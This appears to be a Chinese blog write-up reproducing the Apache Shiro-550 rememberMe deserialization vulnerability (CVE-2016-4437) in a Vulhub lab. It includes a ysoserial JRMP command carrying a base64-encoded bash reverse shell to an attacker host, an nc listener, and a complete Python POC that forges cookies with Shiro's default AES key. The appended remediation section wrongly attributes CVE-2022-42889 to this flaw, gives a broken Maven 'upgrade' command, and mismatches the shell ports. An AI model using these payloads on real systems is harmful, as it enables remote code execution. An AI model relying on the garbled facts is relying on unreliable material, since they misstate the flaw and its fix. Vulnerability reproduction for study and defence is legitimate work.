Apache Shiro Remember Me 反序列化漏洞 CVE-2016-4437 Shiro-550 漏洞复现

一、 漏洞描述

Apache Shiro 框架提供了记住用户功能,即 Remember Me 功能,用户登录成功后会生成经过加密编码的 Cookie。Cookie 的键为rememberMe ,值是经过对相关信息进行反序列化后,使用 AES 加密,最后使用 Base64 编码处理。

服务器端 Cookie 处理流程:

  1. 检索 Cookie 中rememberMe的值;
  2. Base64 解码;
  3. AES 解密(加密密钥硬编码)
  4. 反序列化操作(未做过滤处理)

Shiro 默认使用了 CookieRememberMeManager,加密的用户信息序列化后存储在名为rememberMe 的Cookie 中。攻击者可以使用 Shiro 的默认密钥伪造用户 Cookie ,触发 Java 反序列化漏洞,进而在目标机器上执行任意命令。

二、漏洞影响

Apache Shiro <= 1.2.4

三、漏洞复现

1、 环境搭建

使用 Vulhub 在服务器上搭建

cd /vulhub/shiro/CVE-2016-4437
docker-compose up -d

访问127.0.0.1:8080,进入到登录页面:
在这里插入图片描述

2、 漏洞复现

第一步:判断是否存在漏洞:
随意输入用户名及密码,并且勾选Remember me选项:
在这里插入图片描述
使用 BurpSuite 抓取数据包后,使用 Repeater 模块发送数据包:
在这里插入图片描述
其相应包Set-Cookie头信息中存在rememberMe=deleteMe;,判断其使用了CookieRememberMeManager。

第二步:漏洞利用

  1. 对反弹shell代码进行加密:
    在线工具
    在这里插入图片描述
  2. 在攻击机中使用ysoseria中的 JRMP 监听模块,监听10099端口:
java -cp ysoserial-0.0.8-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 10099 CommonsCollections5 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjEuMS4xLzc5ODkgMD4mMQ==}|{base64,-d}|{bash,-i}'
  1. 在攻击机另一个终端中检测反弹shell的端口7898
nc -lvnp 7898
  1. 攻击机中生成Cookie:
    使用poc.py生成rememberMe的值:
# IP 替换为攻击机地址,端口为 JRMP 监听端口,可自由替换
python3 poc.py 1.1.1.1:10099

在这里插入图片描述

  1. 得到生成的值,替换抓取到的数据包中的 Cookie :
    在这里插入图片描述
  2. 发送数据包,在 JRMP 监听中得到回显:
    在这里插入图片描述
  3. 成功在7989端口获取目标 shell:
    在这里插入图片描述

四、漏洞POC

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.8-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext


if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])    
    print("rememberMe={0}".format(payload.decode()))

五、参考链接

https://www.freebuf.com/vuls/178014.html

六、利用工具

ShiroScan
ShiroScan图形化

### 关于Apache Shiro 550反序列化漏洞详情 对于Apache Shiro存在的反序列化漏洞,具体到CVE编号为CVE-2016-4437CVE-2022-42889。此漏洞存在于Apache Shiro<=1.2.4版本中,在返回包的Set-Cookie中存在`rememberMe=deleteMe`字段可以作为识别该漏洞的一个标志[^1]。 当应用程序使用了不安全的方式处理rememberMe功能时,攻击者可以通过构造恶意输入来触发Java对象的反序列化过程,从而执行任意代码。这一特性使得攻击者能够在服务器端运行未经许可的操作,造成严重的安全隐患[^3]。 为了检测是否存在上述提到的安全风险,可借助专门开发出来的工具如ShiroExploit来进行测试;这些工具能够帮助确认目标环境是否容易受到此攻击的影响,并提供相应的证据支持[^4]。 ### 修复措施建议 针对已知的Apache Shiro反序列化漏洞(CVE-2016-4437),官方推荐升级至更高版本以获得最新的安全性改进和支持。除了及时更新软件外,还应采取其他预防性策略: - **禁用Remember Me功能**:如果业务逻辑允许的话,考虑完全关闭记住我的选项。 - **加强依赖库管理**:定期审查项目所使用的第三方组件及其版本号,确保它们都是最新且经过充分审计的状态。 - **实施严格的输入验证机制**:无论是来自客户端还是内部服务之间的通信数据都应该被仔细过滤和校验,防止潜在危险载荷进入系统核心区域。 ```bash # 更新Shiro到最新稳定版 mvn install:install-file -Dfile=/path/to/apache-shiro-core-latest.jar \ -DgroupId=org.apache.shiro \ -Dversion=<new_version> \ -Dpackaging=jar ```
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值